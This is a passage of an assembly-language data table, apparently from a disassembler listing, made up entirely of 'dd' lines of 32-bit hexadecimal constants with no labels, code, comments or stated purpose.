		dd 4005344Ch, 0BFBAF019h, 9522B0CEh, 0A7830899h, 0D8C73E4Fh
		dd 2A040Fh, 899B2BE7h, 347D6795h, 5D96EE0Eh, 584A5F03h
		dd 0FF169C23h, 8869C0E0h, 8025D417h, 0F654E411h, 25671E49h
		dd 7A4F45AFh, 5968BC23h, 2180B5Ch, 2D0CD4ECh, 68004C5Bh
		dd 653CABC8h, 79AE023Ah, 6DC733D2h, 42A67C80h, 1500FF61h
		dd 47F8CE18h, 4C1977DBh, 0B45830D2h, 65CC205Fh,	48E83AB5h
		dd 3DCF303h, 0A8A6BB7Fh, 41349DDh, 5A675C72h, 540104E0h
		dd 4D10E8A2h, 44FA9F02h, 49391759h, 0F7E841F4h,	6A153C86h
		dd 45025C60h, 24C80006h, 855C6E52h, 0BA3D6C10h,	0B0418F7Fh
		dd 9849DA91h, 5C84D0h, 1F2E5438h, 0A3186A83h, 62224D04h
		dd 388C53BFh, 752AF8CEh, 0BA870082h, 8F3F49Bh, 4E5CC88Ch
		dd 586E24D8h, 6D15204Eh, 127A5920h, 0A2C4FDCCh,	63D9009Ch
		dd 0F1CE26B6h, 8C47276Dh, 9C0138D1h, 92869940h,	0EF2D886Ch
		dd 0CF429018h, 0B9DC508Ah, 204844B8h, 97CCF7D3h, 3879A49Ah
		dd 98914101h, 0B0F807E5h, 4D273BFDh, 83028B00h,	7529A225h
		dd 0FE1ABB00h, 67092BADh, 0BC94B834h, 5594010h,	0BC007F32h
		dd 0ACE7A2D8h, 211D68h,	0D6A4B44Ch, 0A8A6DCE1h,	46AD4CBEh
		dd 0B6F71298h, 0BC488C4h, 1CE2F45Bh, 45110076h,	4F19C1D2h
		dd 0D60BB0B4h, 41D1B559h, 207A02A4h, 0A6773C8h,	215CFC01h
		dd 75CE8FB1h, 0F880203Fh, 190986DEh, 21F2912h, 846C32A4h
		dd 0E856D898h, 7298344h, 0C8ACA016h, 0E090BFA7h, 2A005A5Bh
		dd 1E8CE4CAh, 0E8BFC0C9h, 0A49D0BB0h, 7044F172h, 0FB3B213Ch
		dd 2CA0232Ah, 79953600h, 84765450h, 24CE9D69h, 0E6EAA498h
		dd 28B9ECB0h, 594BDF40h, 0C2C11635h, 63B4C88Eh,	0FD14189Dh
		dd 467E275Ah, 2480A8D2h, 0F30EE519h, 0DDEDC9B3h, 4154F0Bh
		dd 0B0F9E082h, 0E14A3580h, 0E20029F8h, 82A6174Dh, 2D3C6CF1h
		dd 5CE27F77h, 0CD6DE8C0h, 18B55070h, 27FBE30h, 0B94A0537h
		dd 30DFAAA5h, 48A2A34h,	1187087Ch, 16170115h, 1828E42Dh
		dd 22BD9D3Eh, 0F73868Ch, 56150131h, 0FF0CF10h, 0D0CCF5h
		dd 0CE77BA4Fh, 14B954E1h, 8C14FDE4h, 7307B00h, 3F101917h
		dd 0E26303BCh, 1F9D601Eh, 7854C0ECh, 94951508h,	52A48060h
		dd 0F9493093h, 0BB6CA162h, 0A0C8BE5Ah, 0D8628AFAh, 3EC947Fh
		dd 1779B6BEh, 1E8294A3h, 0EBD3BF40h, 0CD21C900h, 0B218E6DDh
		dd 275CEC05h, 9465EC49h, 37353D00h, 0FEC5BC93h,	48D40206h
		dd 0AC320FC0h, 45008CC4h, 0CF9C1947h, 7D39A734h, 33E6016Dh
		dd 8CC410A9h, 99BAEEh, 84CAEFB0h, 2554EA48h, 0CCF95971h
		dd 9DDEB040h, 3CBE0003h, 8947908Ch, 0D70B7351h,	349CE80h
		dd 0F1EF6D48h, 2C2ECD0Ch, 0C258D710h, 0FACC1674h, 40BCC8DCh
		dd 0C93ED188h, 0B4704EC3h, 384F716h, 0E72C2895h, 80C0FFFBh
		dd 8B4B600Ch, 0C07C64F0h, 0C3BC9908h, 0FA3B5E94h, 781AAFEEh
		dd 78485C8Ch, 49A4984Ah, 71F46600h, 0BC4BA75Eh,	0C3A916EBh
		dd 6DDCC536h, 0C81020A4h, 4FB59498h, 186F00D4h,	0E7E4C9BAh
		dd 0F586EA39h, 0B9C5F002h, 59AFEF0Fh, 0D33D000Ch, 0ED6780F9h
		dd 0BA73EA00h, 3BBFEC71h, 3AD93813h, 80AB5A8Eh,	682B036Bh
		dd 0A4FF38A0h, 6E387B94h, 55AB07E5h, 0C4A4E827h, 0C37808FEh
		dd 1282EA80h, 0D22DA68h, 234E3738h, 0C0707CC8h,	47BC30A6h
		dd 61E0E2BDh, 34DC4806h, 80544519h, 86D729B4h, 0FECE8D03h
		dd 9873B27Ch, 49FBBB4h,	8AFD39B1h, 0E80EEEA8h, 0BEFEE01h
		dd 7CA02BE8h, 36C06F44h, 0EC76DFF9h, 0D6EA6A02h, 4054938Dh
		dd 4CE76044h, 5802E4FEh, 0D906E539h, 0AD60C227h, 22D10E2h
		dd 696F1DCFh, 57F8E6Ch,	1AF0270h, 0C2188F3Ch, 0B8D9CA8Dh
		dd 415C7925h, 0EC340B3Ah, 0D1716920h, 0B01FEC01h, 10EFE48Bh
		dd 4C1A6420h, 0D680D086h, 0B96D983Dh, 208F8030h, 445F7233h
		dd 0AB2E25F6h, 4100AAEEh, 17FE1653h, 34A54A7Ah,	0E0E8D8h
		dd 0EF5DEE21h, 244A9886h, 4E1A08h, 6F276AE1h, 0C4BF9F3Ah
		dd 83EE10h, 2BB69B2Ch, 0DBEFE747h, 0F5129090h, 3912AF88h
		dd 491F4704h, 5E4D44B0h, 0BAD425E5h, 0FFEC28h, 0E51B5BA1h
		dd 4B92AD15h, 0C150C49Fh, 0C68E9DD0h, 0F4D03EF3h, 2D801822h
		dd 0A442AAE6h, 4809EC89h, 0F8537C7Eh, 917981A4h, 3C6284Ch
		dd 95AEA1CFh, 0E1A1E526h, 1C43218h, 327C5337h, 2470D721h
		dd 0BAEF27FEh, 450548A0h, 0C5009931h, 7998468Fh, 87B464h
		dd 177EFD34h, 0B0C05CECh, 4D10961Fh, 764C8F02h,	0C26CCAEFh
		dd 0A0FC6680h, 0B5CCA044h, 6A00E0C6h, 83696E86h, 0EEFC81h
		dd 0ABEFD9B7h, 625D6494h, 0BA599912h, 93879002h, 0CB4C80BBh
		dd 800155h, 1210C342h, 554CA4Fh, 5CD30439h, 1C222E60h
		dd 9626F1Ch, 643D167h, 6300A0FAh, 0F96E8F74h, 4FCD6DEh
		dd 0E787B570h, 0C317C1F1h, 79A891E6h, 0D22F0C00h, 0C2FE37C4h
		dd 761280B0h, 4040BBF8h, 4181EE9Dh, 0CC3E1D23h,	8C16167Dh
		dd 9F1EB0CCh, 0F1142668h, 2C29D688h, 0C81242E1h, 0F172387Ch
		dd 0AC6396F8h, 5026A094h, 56A718B1h, 0D28BF09Eh, 0F2007893h
		dd 8E50F77Ah, 542B48CFh, 0B1CC7877h, 0DD166110h, 3E93DFF3h
		dd 262B1FD0h, 55021015h, 0A3891660h, 7475380Bh,	0D88861D0h
		dd 579EFCA6h, 0C6903427h, 0CE5E00E4h, 4F07AEDDh, 6E1E0824h
		dd 0A4820AAAh, 0DCDF27D4h, 0EBBD8054h, 8FAC43C2h, 0EC00445Fh
		dd 6E9B6BDDh, 18A61D4Fh, 353ECA7Ah, 821CC4h, 0AAEF98E2h
		dd 0C21FB108h, 0EC6F7193h, 0FD4B0048h, 6068AA80h, 6224B13Ah
		dd 78129410h, 0DDD0D427h, 0E66797h, 0A1D35F95h,	0DCD5699Ah
		dd 11ADBF1Fh, 1076EF40h, 4D193525h, 0A30EC45Fh,	28C03823h
		dd 0E3696090h, 0C140F50Fh, 708B24A1h, 808809EAh, 0F678C818h
		dd 0C8039E00h, 7FD8E7E0h, 0F9C123Dh, 0C204B9EAh, 0DF4AB9B3h
		dd 0B8EA7018h, 1F08E00h, 8A364C6Ch, 0A2B54F7Fh,	2D830080h
		dd 40593B17h, 1B1300EAh, 2A75E6B4h, 31003432h, 0F01EAB81h
		dd 0C4F3D3h, 4DFE1AF1h,	2E77E34Ch, 0FC1D8B4Ah, 0E838D92Dh
		dd 0BEC3C098h, 5D0076B0h, 7E0D305Ch, 0BFE5328h,	9C1FA056h
		dd 60CB300h, 6B74E6E1h,	0F81EC800h, 2E83990Fh, 22440959h
		dd 50586F0Ah, 0F1D1870Ch, 964E9012h, 730049E0h,	0BBB06CE5h
		dd 33AAEE01h, 3AC38473h, 9E08907Bh, 0D4F79823h,	0AF5EED8Bh
		dd 0FB124C8h, 547CAB71h, 0C82AF5C0h, 0B807585Ch, 0C41E3F34h
		dd 6F781089h, 0C6A90126h, 8EEAEB9Bh, 0E0AD4453h, 0C75DC4DCh
		dd 8E8CCBD0h, 0F825E11Ch, 7000CD86h, 99009A5Ch,	0DC9624D8h
		dd 9EC5B80h, 43500518h,	0C0D9E409h, 0FB5AE363h,	0F949E92Ah
		dd 0BDA4C83Fh, 17070B7Eh, 2E4357CBh, 30AB54A5h,	924D2D5Ch
		dd 0B0BCD107h, 0FB37F17Dh, 3B21A5F3h, 0B04EA750h, 0F213E7CCh
		dd 680460A3h, 20CDBD17h, 402C51F2h, 884E3A84h, 0C9F72C01h
		dd 0A76137E8h, 0C3F0DC1h, 7C41A40Ch, 59F2122Dh,	0F99083F0h
		dd 0C6E144B4h, 79043095h, 6F0C1E00h, 48C0A087h,	0B0EF0531h
		dd 90F30E23h, 0F0167660h, 98047F82h, 9CE256F8h,	30749C00h
		dd 122BD682h, 0B5FDF900h, 809DD8F7h, 0E866B54Ch, 3DD9DF62h
		dd 0DACAE0BDh, 96A20EF2h, 822DE93h, 0D560D7E6h,	0C0005DB4h
		dd 500C4034h, 0BD4C689h, 218F276Bh, 0EAEC4464h,	0BAEE4000h
		dd 0EBBB9661h, 2627EF9h, 121760E7h, 0BF859EA6h,	0C27CA794h
		dd 77735AEBh, 4596BC18h
		dd 0B9492200h, 0CDA02394h, 0E3174F48h, 3C853EF8h, 0B820CE72h
		dd 0CB4221h, 0D71093D0h, 0FB66743h, 8C47ED00h, 8559E1CEh
		dd 38F19068h, 0A44C7099h, 0AD370593h, 9D00A3Fh,	0A47684C0h
		dd 8CE31318h, 0C8A00116h, 5600E3DCh, 63DE7D4Bh,	0C8D881h
		dd 9DA38B91h, 8CF324ADh, 7F243B50h, 0C6802494h,	0CA41385Dh
		dd 77B017ACh, 0D46CC82Ch, 423F4Ch, 7BD87F87h, 35BB3Eh
		dd 6AE46DB3h, 0A1705AFFh, 0CC5ECEE5h, 0B9836C40h, 91589468h
		dd 0AEBC00DCh, 71ED0CC1h, 94C1FA2h, 8C48CCB5h, 40C0500Ah
		dd 5F5B6990h, 0C874E5A3h, 24929559h, 82682184h,	0D8DCD5E4h
		dd 0D4B9B064h, 0A8CE942Dh, 0E00937Bh, 447982DEh, 0F87FDFE2h
		dd 0AC0702B8h, 4D4EBF76h, 0DE09855h, 8A940066h,	0FAC233B1h
		dd 7C3DDD7Ah, 49358569h, 10E84D71h, 19735BA0h, 1103D5B8h
		dd 1FC72CD7h, 37C1CF9Ah, 0AD701C75h, 4850EE4Bh,	8C00F0ADh
		dd 655E3223h, 0C500150Dh, 7722CA85h, 0CE877Ah, 8F8367E2h
		dd 0B7DD884Ah, 43E6B207h, 0DB764D32h, 21646008h, 81B7D59Dh
		dd 50490F0Ch, 10D3502Bh, 699D1CEh, 4A7EF8DCh, 2C94658h
		dd 0E6BDB7D2h, 84EE30EBh, 700FC83h, 505D7F39h, 0D4386860h
		dd 7B33864h, 9D1AF92Dh,	0E107A085h, 0CF0115DBh,	0A87F8911h
		dd 318C4A7Ch, 0FB7169F1h, 0FD743E00h, 7AA96652h, 6C28C07Dh
		dd 7376D368h, 212A31C0h, 0CD1E55Bh, 0F992BBD4h,	21C17509h
		dd 765B398Ah, 54AFDCh, 73AEAA22h, 49854312h, 64D8E400h
		dd 0BDFD7B0Dh, 4580A0BAh, 0F3688003h, 1987D900h, 0B221093Fh
		dd 5E7D0E0Ah, 78ACF79Eh, 7918CB61h, 0E11A2F98h,	7A9F0C7Eh
		dd 82100DECh, 4400BE76h, 3D2D99DBh, 3297896h, 635932A1h
		dd 0ED80E118h, 77774A97h, 0F100ABE8h, 1B546224h, 0EC851C47h
		dd 1C5E5819h, 2FC0F801h, 60E0F4B4h, 0BE3BB69Fh,	4280033h
		dd 0B7610C78h, 3A530077h, 31124C42h, 0D70CB4A5h, 8CC2D3Eh
		dd 6D21C05Bh, 706312C4h, 0B2003AB8h, 0ED019D39h, 183BDD9Fh
		dd 288B9A2Ah, 230097A2h, 77FCE9E2h, 63F4B61Eh, 3B9B087Eh
		dd 0BB72003h, 0A93EE6E2h, 3DF09F76h, 378F4CAh, 0DAA25C53h
		dd 78A624B3h, 4ADF1A00h, 0ABDEC019h, 76A93137h,	80A1F108h
		dd 4AE66320h, 5C30A374h, 2004FDAh, 0D2B0ED8h, 2960D267h
		dd 0C8D1BB49h, 0D4B0CEEAh, 0D58CE22h, 86BC9E0h,	26072C0Ch
		dd 3877C18Ah, 0AB006CF4h, 39B328C7h, 20C93D4Bh,	29CD0181h
		dd 1D200FD8h, 0C380A4F2h, 0EECCDC10h, 0DB12B0C7h, 0B00FC85h
		dd 6FB223C4h, 942C32h, 2B035BFAh, 689072CCh, 1D26A13Bh
		dd 51074EC3h, 0A900743Fh, 0E7F817h, 0B03A9C09h,	5720D0D1h
		dd 5542B200h, 91E326CFh, 7F6A0049h, 13B7B07h, 7E010C30h
		dd 5683D7C2h, 2AF81594h, 4D3A0340h, 0E7A2A17Ah,	0F6F882F3h
		dd 9A76E1EAh, 0BF63FB00h, 45895A25h, 94521C5Dh,	9DAA00C1h
		dd 0E99088A6h, 0BBEF6600h, 62C43BCBh, 1C87004Eh, 371472EBh
		dd 52002746h, 40AC6CF8h, 89FBC6h, 508D152Bh, 79FD936h
		dd 9C717501h, 0ABFE8C7Dh, 10F42E0h, 0F5037CD3h,	0D2235293h
		dd 1C41DA80h, 0A207437Ah, 9A7EC2EBh, 9043C3F7h,	0DA2000F6h
		dd 990379E5h, 2D7024A3h, 7DB81226h, 130CC913h, 6D14804h
		dd 8A16E519h, 0AB131021h, 9D1EBF51h, 0C230AC6h,	18F73109h
		dd 4049CB20h, 86DC2181h, 28E2A507h, 8C70F498h, 36FF6DC6h
		dd 51B033EAh, 0A5088B28h, 0E4998501h, 5F0D3005h, 30676842h
		dd 0D7117AA0h, 96884BA2h, 7A09E681h, 28DCA85Dh,	0C841607Ch
		dd 6C1B186h, 5EFA9018h,	1E18A158h, 4019D0A2h, 0DA8AD427h
		dd 5900F238h, 0D5B32F7h, 0F29F671h, 7FA6486Ch, 64B634A0h
		dd 0C600D8C9h, 9587461Ch, 4AF2A0Ah, 887CB3B2h, 5344807Eh
		dd 0E20E7D71h, 0A0229CBBh, 32259FD2h, 5D64006Ch, 21CA80F7h
		dd 6A014A40h, 0C45C021Ch, 89CC2388h, 0F6B400AFh, 9CC80C90h
		dd 2A1E03D0h, 0D880FB6Ch, 0E63BAD82h, 0E00400FEh, 4C726755h
		dd 0B380A84h, 0BC4100C5h, 0F3A43338h, 0B3F10769h, 0C7B19B54h
		dd 995F50A3h, 16F470B6h, 1981100h, 9E680E66h, 0E82400ABh
		dd 0D54BB131h, 3F007265h, 1F3098A6h, 6801FAE1h,	0F60411ADh
		dd 4D5F7B18h, 0E50510h,	0B02B90E8h, 0A67F58C3h,	929BD003h
		dd 0E17BB2DCh, 2888E53Fh, 0AF90EE94h, 446B6884h, 51443E87h
		dd 42CB4802h, 0B3248FF6h, 48FFE427h, 15198037h,	9572A56h
		dd 0DDA9C500h, 6F124D65h, 93D748E2h, 3BFA6A00h,	8EF33C67h
		dd 75CA1600h, 0ED690E70h, 0E9A000FFh, 7B2462DBh, 8F071B39h
		dd 888D65B3h, 0FFAF4A70h, 0CF7701BCh, 0ADC2F15Bh, 8CABE441h
		dd 6726BE00h, 0D1D7A975h, 19CFEA6h, 0D861D07h, 706DD47Fh
		dd 97032ADEh, 0D58B0E45h, 3A29E062h, 0E0A77B9h,	0CA24BF57h
		dd 11523E86h, 0D6BE3900h, 0EB6B0E93h, 0CA95078Bh, 0B0DA674Eh
		dd 8A5BDA2h, 460F9170h,	8025BAA7h, 0DD316488h, 560F0A04h
		dd 80D8E1E4h, 0AC43B783h, 0E7007EF3h, 7F8C364Ch, 7D171C5h
		dd 0B24B4FDEh, 0EB006B53h, 65212B39h, 43D9A1Ch,	0A901040h
		dd 1218273Bh, 2EECFAh, 5B508C00h, 0E07AC83h, 525EF86Ah
		dd 0E4C85580h, 16E30389h, 7B13ADD6h, 45B0ECC3h,	8D00A0E2h
		dd 402D73B6h, 886FE6h, 633ABBDAh, 54C9267Eh, 6E15AA00h
		dd 5DDE3718h, 9EC7059h,	0A1662A7h, 323C7C06h, 0BCCB4F02h
		dd 407220D7h, 1D0FC9Ah,	0F151AC85h, 70695E3Fh, 1E009979h
		dd 7EF6F4B0h, 0E1D3EAh,	0E2C89D7Dh, 9622D4BCh, 5F6CEC00h
		dd 0E68F60AFh, 9DF500B9h, 66C846EDh, 3A00953Bh,	0B1D3DA07h
		dd 0B8B428h, 4B9418CDh,	0CCA312DBh, 4E23F91Ch, 5490DC0h
		dd 59A2CAh, 7C217786h, 0F1AAFA01h, 14DFBF00h, 97643870h
		dd 8DB7000Ah, 4D18E61Fh, 913DE782h, 8E5580BEh, 0BB98860h
		dd 0CAC609DCh, 2C80359Fh, 76AE3753h, 46CFEB00h,	774E4CDDh
		dd 0D90400D3h, 2C926A6Fh, 6603E61Ch, 7419B578h,	5024E845h
		dd 579D0052h, 960D012Bh, 0B200C294h, 0D4BF72F1h, 0A0C5E8E4h
		dd 0F874A688h, 5B902Eh,	0A8437942h, 3ED0F395h, 0F59ED0Bh
		dd 18D48055h, 5A5F611h,	0C4E066D4h, 43C080E9h, 0C50042DBh
		dd 155BF991h, 3D052901h, 0FBDC4ADDh, 0D8E4170Eh, 0C8FAD040h
		dd 7004468h, 0B71AEA99h, 535870h, 0FC182D88h, 6ED3B16Dh
		dd 0C120AC03h, 0D921100Ch, 0BECD7BDh, 0EF9E0087h, 0D91CE21Fh
		dd 700F6F26h, 214B5FDEh, 0D43E7A8Bh, 0EA86FCh, 0D55E9C14h
		dd 2BD32FE3h, 0C621DE00h, 35B150FDh, 0A69E0394h, 2EB041A5h
		dd 3356C08Dh, 0AE00E193h, 628606Dh, 12ACDFh, 5042A1ABh
		dd 0E6FD82BBh, 0EB205800h, 5136B87Ch, 0C757005Dh, 592153EEh
		dd 6F0BDE1Ch, 80CDC35Eh, 7D0F2345h, 0EEF61D95h,	5255C0A4h
		dd 2FBBD06Fh, 4621107h,	0AD749869h, 0F9091E83h,	0B7D13AA7h
		dd 371DF4h, 0E0BFD43Bh,	6A6D566Ch, 0EF07D171h, 647E54F5h
		dd 0EEFC7A70h, 63E3009Ah, 999EC01Ch, 70003F93h,	8EC75904h
		dd 7BD86Bh, 0B63EA62h, 0A9441E5Ch, 80F77C3Fh, 647D7F54h
		dd 306FFB49h, 0DF1CA251h, 0D700A7FEh, 93CA4146h, 0C23999h
		dd 79CBEEAEh, 0C7252470h, 1C3EE500h, 0DBD58ACAh, 0BCE00Ch
		dd 0DD1B7E9Bh, 0A227EA30h, 7728F30Bh, 1800802Ah, 0EEAD09h
		dd 5A9E0E0Bh, 0D92291D7h, 92F6887Fh, 0F1941050h, 7C5BFC00h
		dd 0FFC53897h, 24D70ADh, 6268B365h, 20986EB2h, 0B6003BDEh
		dd 7907F21Fh, 1840F025h
		dd 10F1BF92h, 0C039C942h, 0B0ED015Ah, 3451B6ACh, 0F58AF8h
		dd 40B8E835h, 9BEFBCB1h, 2C5EE724h, 3DF46E00h, 0F5A48BBh
		dd 0F62F52E5h, 0B4CB95C0h, 400651Ah, 974B3F81h,	3EA1BDE3h
		dd 3381F4A8h, 4359A372h, 470CF8EFh, 30B2CD00h, 0DC804C6Ah
		dd 9087FEFFh, 55E80091h, 0A93CCAE1h, 8C00ED9Fh,	0E99B01CFh
		dd 1583396h, 0FE1881B0h, 0C4EF0735h, 7639ACB8h,	0C28D008Eh
		dd 4DE886A4h, 0BE1F0121h, 0A01D58C7h, 4FD6205Ah, 0C52E3B00h
		dd 0B183F786h, 0EE6379C0h, 7AA100D5h, 1AC4FACCh, 709D57A9h
		dd 31FF3AD1h, 40F19109h, 0BD168500h, 5400DDD6h,	712A2772h
		dd 6CC281h, 0E3CBB1F2h,	8D631786h, 0EB8EF000h, 6FDB4A7Ah
		dd 486D00BFh, 5B42A73Ch, 0A000B32h, 2F4EC06Ch, 2CE4DFh
		dd 0CC2E3A1Eh, 94FA7A27h, 9E26C300h, 3EADD895h,	0EBF4000Fh
		dd 0E92964DAh, 620034FCh, 0CF3EAF0h, 4892A1h, 49EE252h
		dd 67023615h, 593D7700h, 327FB012h, 94144806h, 1B64600Eh
		dd 98D8E260h, 54004EE5h, 0D7CA08C3h, 0B58E4Bh, 3277D45Ah
		dd 0C80A7DA0h, 0FCFB651Dh, 90EE94h, 6E2973FAh, 9B8B066h
		dd 0AB196AD0h, 0C7A39400h, 1600ED9Bh, 8E3BFB37h, 0EAA7BBh
		dd 0BC303E59h, 0E3859A3Fh, 0E058700h, 0F949743Ah, 679539BEh
		dd 76D9C500h, 8F4DF01Ah, 6ED00B00h, 0B59B360Ah,	0E50F018Dh
		dd 588ACF38h, 0F0DDC515h, 7B715445h, 4046CE00h,	0A98969C2h
		dd 82D800EAh, 0E16C5BB7h, 0BB18D6B1h, 9C886119h, 70040F5Ah
		dd 56400B08h, 30E24357h, 8AAB7B24h, 0D4200A00h,	70CE5A7h
		dd 659B5D8Ch, 1226A0EBh, 7E309181h, 0D96819FFh,	4A1C006Eh
		dd 5BA759E7h, 3801C20Ah, 49EF0EBCh, 83D8DB18h, 0D2820076h
		dd 5398C71Bh, 7F0EBFE5h, 4789C3DCh, 52F05A02h, 1DCC0972h
		dd 3288A1h, 585FE9BAh, 3A3E04C8h, 5868017h, 0C2388CD8h
		dd 7E960752h, 3001350Ch, 8161FB87h, 0C00D5600h,	9D8D531Dh
		dd 0E69907B6h, 3FA0E7h,	3C1AD528h, 2042E92Eh, 0B7DE7100h
		dd 0B139C7h, 77E23344h,	57498F09h, 3502AF07h, 24702ADAh
		dd 26C02FA2h, 0EC1DBBh,	0D8C89327h, 7400CCD5h, 0C54B8722h
		dd 0C3EFBAh, 39693044h,	615B493h, 5BA0770Fh, 0D93641C0h
		dd 9BE05497h, 0CF225h, 0F612920Eh, 0E5D6F153h, 36448900h
		dd 19C7B65Dh, 2624013Ah, 0B557F3BBh, 2E38CCE4h,	50CBE800h
		dd 58D2E6A9h, 0B62A0EEAh, 0C8606FC4h, 0A8E9DF4Ah, 6ACC6100h
		dd 0A6E21D59h, 0D95C000Ah, 0FBC9E48Ch, 0F801C04Fh, 0DE218A2Fh
		dd 319D3DD2h, 0AC74C0B6h, 69F5B589h, 0D8A7B200h, 0C8071103h
		dd 0C1633138h, 71AC0C28h, 0B857DC25h, 82095100h, 0A0A2C8DCh
		dd 391C002Fh, 7DA87461h, 0BC1EDD01h, 0E5806358h, 0B666ECCDh
		dd 456A03A7h, 148A623Fh, 4FDEF6C0h, 0AE385D00h,	8D658B1Fh
		dd 0A6FC0010h, 0C3BDE112h, 441E9C97h, 25C089AAh, 1D428C81h
		dd 0C79300B3h, 648E582Ch, 0BA0004A6h, 6D1E5716h, 0B2E823h
		dd 9183A093h, 0D3456401h, 0CC67B600h, 9CAF2125h, 1FBA00B7h
		dd 23C29EECh, 24E028D2h, 0BE72C300h, 0A554B66Ch, 0B11F0082h
		dd 0C87D3E14h, 90004499h, 5ADEE0A2h, 0C064E509h, 0FE5625E1h
		dd 0D6004AFFh, 696FF580h, 0E08A97h, 0B308905Ch,	264F286Eh
		dd 0E9D21900h, 7DCC0516h, 54E0007Ch, 68A2EB78h,	0AE044697h
		dd 0A7D39EFBh, 7F7A000h, 0DE00ECF9h, 4B618379h,	1CBDD6h
		dd 4299B219h, 9039F93h,	0F09888C3h, 63DAE0D9h, 0CB2200FDh
		dd 47B77754h, 0EA16E2A9h, 87006D0Bh, 6B60BF7Fh,	9CD93DCDh
		dd 1C8D9780h, 46472C8Ch, 8ECA7D0Fh, 7A63E7C0h, 6E5E6260h
		dd 0F11E0036h, 2895E62Bh, 0A40FA7B0h, 80485B05h, 7E24BF4Eh
		dd 12E6E5h, 0F20C5AB7h,	0E7F0AEB6h, 5DAF1400h, 3C37053Eh
		dd 19F0E11Ah, 63750743h, 813F8B09h, 0EB6A039Ch,	0C6EF87F8h
		dd 73BBB400h, 0F43E3348h, 0B3AB00C1h, 1E195985h, 0A200CEC3h
		dd 88E63B95h, 755CB90Ch, 22550215h, 0A12C9C0Dh,	0D2A95440h
		dd 0C6E54700h, 77CD9526h, 86B2017Ah, 0D5BCCA91h, 0BAC8DC12h
		dd 0BD8F3501h, 0C2AA6766h, 30432C4h, 0BCDCB16Ch, 9C2A42D6h
		dd 1A00D89Dh, 40456E07h, 0ECF18194h, 0D5350059h, 256FB9AAh
		dd 0D4E6A3FBh, 7226103h, 0E0C1DA7Dh, 32D12F5h, 0FD57320h
		dd 3C9ADECBh, 1F95F080h, 9B00EA02h, 0B922D88Eh,	1C607175h
		dd 822EE557h, 0BCD94485h, 6474D8C0h, 991CC97Dh,	3A40C503h
		dd 5E535029h, 0D58D0016h, 0CC24A840h, 0DB1D3D7Eh, 0BF4242C5h
		dd 0E0F4D448h, 982DF7h,	15CAD137h, 0AA012BC8h, 68D9EF00h
		dd 25DD076Bh, 3E3B007Bh, 0D0DB754Eh, 0C00DECAh,	38412297h
		dd 2956DEBh, 0DFEA4AFh,	584001F8h, 8A095ED5h, 0E0E331h
		dd 73692FB8h, 0CD7E00D1h, 930AA37h, 7A14085Ch, 0F89C14h
		dd 0A86A8ABCh, 300297BBh, 0FC48DC81h, 1CB0A2D5h, 3745491Ch
		dd 4CDBB107h, 8B84CCE1h, 984087E9h, 736529C2h, 1EF47E30h
		dd 64FCBA1h, 2086DA48h,	9BC14600h, 5122348Bh, 19211840h
		dd 7B367858h, 87998909h, 0A002078h, 98CBF5F6h, 6F5E0058h
		dd 0EBBD96FBh, 55001B62h, 89BBD373h, 5082DC7h, 922F9D05h
		dd 0FF8C00DFh, 1EC9B894h, 4C001B77h, 9F85076Ch,	3B192A9Dh
		dd 0C4063153h, 3082E077h, 7C135A02h, 806B7354h,	950EDCC0h
		dd 0A8360040h, 0F3EC0AB8h, 0D0EE6D77h, 67E1CB01h, 0C3BB7339h
		dd 117F7F4h, 8026BD29h,	4031068Fh, 73E98398h, 0AAB1930Ch
		dd 9BE004h, 0E3AFB536h,	0A85BE1B0h, 9D665317h, 788D4B00h
		dd 0FA56FCh, 62B4A96Bh,	2CC4683Ch, 371CAF00h, 0D57BA03Ah
		dd 0FC4F78BFh, 12F61B82h, 2FE15873h, 99A281FEh,	1F776A93h
		dd 0A2E45F31h, 6E830098h, 0E3FC1124h, 490029D4h, 0D29E934Eh
		dd 7D360BC5h, 0AC882839h, 72E50987h, 7D0ACBDDh,	0A2B904D0h
		dd 0D5F10097h, 101267h,	0C254C90Bh, 1F3DB4FFh, 4A22CCE3h
		dd 0BD181103h, 0BAD28D1Eh, 37D78015h, 0F047967h, 65FE7DC7h
		dd 0C563A4AEh, 1FD8CF58h, 431EEEB8h, 0D08069AFh, 2544BE1h
		dd 0C4514852h, 0A2992E00h, 59490C3Fh, 7B2DC61Dh, 0A702B75Eh
		dd 412FAC12h, 0D6CC2928h, 772405A6h, 801D8819h,	0ED33CC04h
		dd 3ABEE700h, 0F5C3095Bh, 560780BBh, 0C5302203h, 986C34D1h
		dd 0F0271D02h, 4B0F296h, 63A5E635h, 4D0C813Fh, 7BA88124h
		dd 0CBBAA272h, 8D28C8h,	0CD202F31h, 0FEE99A03h,	564B2200h
		dd 0E7F3BE63h, 48ADECC2h, 0E4500438h, 0F5BC0319h, 8553745Bh
		dd 9FCDA000h, 8462349Ah, 2C134CEDh, 30BC6F30h, 511FF1EAh
		dd 0AC0CEFDh, 83285663h, 0A5C503C1h, 803BB513h,	0FC06BF89h
		dd 700EEB92h, 805668EAh, 15C744BCh, 87CE9h, 7D06882Ah
		dd 0E5F776D4h, 6C015200h, 0A3BD377h, 0BB270AE9h, 808CDC9Ch
		dd 0D0285E7Fh, 500AAFDh, 802E7AE5h, 0EB21668h, 2D93DAFAh
		dd 700E7347h, 0B7F3EE0Ah, 6C74880Bh, 5B70030h, 6256AEh
		dd 0C0A42A82h, 28834375h, 7CC5B909h, 0F75B83DFh, 0CC4AC039h
		dd 48110092h, 0C75A8302h, 0F6010734h, 42A79C2Bh, 0F4308991h
		dd 26EB007Dh, 5A77524Fh, 0C7000C18h, 0C0F6FBF2h, 3D031997h
		dd 0F665AEh, 748FE93Ah,	67E00AB0h, 0BC11B400h, 725D9087h
		dd 387C80h, 0FAFEBD84h,	29EB7EB0h, 66F62A00h, 0C4943E4Fh
		dd 0F4270CC0h, 640AA7F0h, 0AB355C00h, 9A01EEEh,	940A00E2h
		dd 0C069F30h, 81E4E88Ch, 566B5901h, 0CB44B77Dh,	3B6EAE0h
		dd 0A4B408D6h, 8F81D3C8h
		dd 345DD040h, 5B7CF438h, 7206E0FCh, 38317122h, 82990201h
		dd 0BA0A342Eh, 0BF06E841h, 0AF8834h, 0CEF06C4Dh, 4166E999h
		dd 3A00D5F0h, 0AD43BB6Bh, 0B3EB1Ah, 9060861Ch, 111B70Eh
		dd 832B7F00h, 96CFF56Bh, 0FD6700E6h, 93FED34Ah,	0F098540Fh
		dd 0C57FEB07h, 20F08C3Eh, 373BD4C0h, 8678AC28h,	30610A0h
		dd 1E69B9F2h, 2E47120h,	0ACDC04B7h, 2EE2F3D7h, 10281CA1h
